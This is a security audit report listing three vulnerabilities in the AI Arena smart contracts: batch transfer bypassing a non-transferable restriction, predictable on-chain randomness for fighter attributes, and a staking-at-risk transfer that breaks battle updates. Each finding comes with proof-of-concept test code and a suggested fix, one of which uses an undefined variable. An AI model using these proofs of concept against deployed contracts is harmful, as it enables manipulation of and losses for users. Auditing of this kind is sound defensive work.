AI Arena - Jorgect's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291

Vulnerability details

The GameItem is an ERC-1155 contract responsible for managing items in the game. These items can be created by the admin and can be either transferable or non-transferable.

If an NFT is not transferable, the safeTransfer function will not allow the transfer to occur:

 function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable); <-------
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

[Link]

The issue lies in the contract's failure to override the safeBatchTransferFrom function of the ERC-1155 standard. Consequently, users can transfer non-transferable NFTs by calling the safeBatchTransferFrom function.

Impact

Users can indeed transfer non-transferable NFTs by calling the safeBatchTransferFrom function.

Proof of Concept

The next test provide in foundry can be run in the file:/test/GameItems.t.sol :

function testByPassTransferFrom() public {
        _gameItemsContract.createGameItem("prove", "https://ipfs.io/ipfs/", true, false, 10_000, 1 * 10 ** 18, 10);
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(1, 1);
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 1, 1, "");

        uint256[] memory Ids = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);

        Ids[0] = 1;
        amounts[0] = 1;

        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, Ids, amounts, "");

        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 1), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 1), 0);
    }

Tools Used

Manual, Foundry

Recommended Mitigation Steps

Consider overriding the safeBatchTransferFrom function to prevent users from transferring non-transferable NFTs:

 function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable); <-------
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214

Vulnerability details

As the blockchain is deterministic and has to be, there is no way to generate random numbers like other non-blockchain programs.

In the case of the AI-Arena protocol, the dna variable relies on keccak256(abi.encode(msg.sender, fighters.length)) as a source of randomness to derive crucial variables of the NFT, such as the element and the weights. However, this method is insufficient for randomization, leading to predictability in the element, weight and other variables.

There are other instances that encounter the same issue: [Link], [Link], [Link]

Impact

Attackers can exploit this to obtain better attributes or acquire the desired element.

Proof of Concept

In the code below i provide a simple code to be run it in remix:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

contract AiArena {

    uint256 public counter;
    function Randonizer(uint number) public view returns (uint256 dna, uint256 element, uint256 weigth){
          dna=uint256(keccak256(abi.encode(msg.sender, number)));
           ( element,  weigth) = elementAndWeigth( dna);
    }

    function elementAndWeigth(uint256 dna) private  pure returns (uint256 element, uint256 weigth){
          element = dna % 3; // 3 number of elements
         weigth = dna % 31 + 65;
    }

Randonizers function is giving the element and weight of the nft, so if a user have a nft earned in the mergin pool they can get the element that he want:

function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
        uint256[2] calldata customAttributes
    ) 
        public 
    {
        require(msg.sender == _mergingPoolAddress);
        _createNewFighter(
            to, 
            uint256(keccak256(abi.encode(msg.sender, fighters.length))), <------
            modelHash, 
            modelType,
            0,
            0,
            customAttributes
        );
    }

Supposing there are 100 fighters, if a user desires element one, they would have to call the randomizer with values such as 101, 102, 103, and so forth, until they find an NFT that yields element one. In this scenario, the corresponding value would be 102, user then just wait to the fighters.length be 102 to call claimRewards in the mergingPool.sol contract

Tools Used

Manual, remix

Recommended Mitigation Steps

Considering the need for robust source of randomness, this can be with external source such as Chainlink. or strengthening the existing method by employing additional cryptographic techniques or incorporating multiple sources of entropy.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L495

Vulnerability details

When users stake or completely unstake Neuron tokens in the RankedBattle.sol contract, they modifed the fighterStaked[tokenId] variable in the FighterFarm.sol contract.

 function updateFighterStaking(uint256 tokenId, bool stakingStatus) external {
        require(hasStakerRole[msg.sender]);
        fighterStaked[tokenId] = stakingStatus;  <-------
        if (stakingStatus) {
            emit Locked(tokenId);
        } else {
            emit Unlocked(tokenId);
        }
    }

[Link]

This is an important variable that is checked when users transfer the fighter NFT:

function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId]  <------
        );
    }

[Link]

If this condition is true (indicating that the user has Neuron tokens staked), they cannot transfer the NFT.

Another crucial point is that users who are staking can potentially lose a portion of their staked tokens if they lose a fight and do not have enough points:

function updateBattleRecord(
        uint256 tokenId, 
        uint256 mergingPortion,
        uint8 battleResult,
        uint256 eloFactor,
        bool initiatorBool
    ) 
        external 
    {   
        ...
        if (amountStaked[tokenId] + stakeAtRisk > 0) {
            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
        }
        ...
    }


 function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
        ...
            } else {
                /// If the fighter does not have any points for this round, NRNs become at risk of being lost
                bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);  <------
                    amountStaked[tokenId] -= curStakeAtRisk;  <------
                }
            }
        }
    }

[Link] [Link]

The issue arises when users get staked tokens at risk when lost a battle, subsequently unstaking the remaining tokens, and proceed to sell or transfer the NFT. As a consequence, the NFT becomes ineligible to win any battles in the future because the updateBattleRecord transaction will revert, as demonstrated in the proof of concept (POC). This occurs because the staking at risk is associated with the owner, and when ownership changes with staked at risk, the amountLost variable with overflow/revert.

 function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external {
        require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
        require(
            stakeAtRisk[roundId][fighterId] >= nrnToReclaim, 
            "Fighter does not have enough stake at risk"
        );

        bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim);
        if (success) {
            stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
            totalStakeAtRisk[roundId] -= nrnToReclaim;
            amountLost[fighterOwner] -= nrnToReclaim; <--------
            emit ReclaimedStake(fighterId, nrnToReclaim);
        }
    }


function updateAtRiskRecords(
        uint256 nrnToPlaceAtRisk, 
        uint256 fighterId, 
        address fighterOwner
    ) 
        external 
    {
        require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
        stakeAtRisk[roundId][fighterId] += nrnToPlaceAtRisk;  
        totalStakeAtRisk[roundId] += nrnToPlaceAtRisk;
        amountLost[fighterOwner] += nrnToPlaceAtRisk;  <------
        emit IncreasedStakeAtRisk(fighterId, nrnToPlaceAtRisk);
    }  

[Link], [Link]

Impact

An attacker or malicious user can transfer an NFT with staked at risk, resulting in the following issues:

-The updateBattleRecord transaction will revert if this NFT wins a battle. -The NFT remains tradeable, misleading other users into purchasing an NFT that does not function as expected.

Proof of Concept

Run the next test in foundry in the file:/test/RankedBattle.t.sol

 function testUsersendWithStakedAtRisk() public {
        address player = vm.addr(10);
        uint8 tokenId = 0;

        address playerTwo = vm.addr(11);

        //minting the nft to the player
        _mintFromMergingPool(player);

        // gettin some token to the player
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(player, 4_000 * 10 ** 18);

        //staking the tokens
        vm.prank(player);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);

        //losing a battle and getting staking at risk
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);

        // transfering the token with staket at risk
        uint256 unstakedAmount = _rankedBattleContract.amountStaked(tokenId);
        vm.startPrank(player);
        _rankedBattleContract.unstakeNRN(unstakedAmount, 0);
        _fighterFarmContract.transferFrom(player, playerTwo, tokenId);
        vm.stopPrank();

        // The updateBattleRecord transaction will always revert
        vm.prank(address(_GAME_SERVER_ADDRESS));
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
    }

Tools Used

Manul,Foundry

Recommended Mitigation Steps

One approach to mitigate this issue is to include a check in the _ableToTransfer function to verify if the user has staked at risk. Alternatively, you could modify the logic to only set fighterStaked[tokenId] to false when a user completely unstakes if they do not have any staked at risk remaining.

Assessed type

Other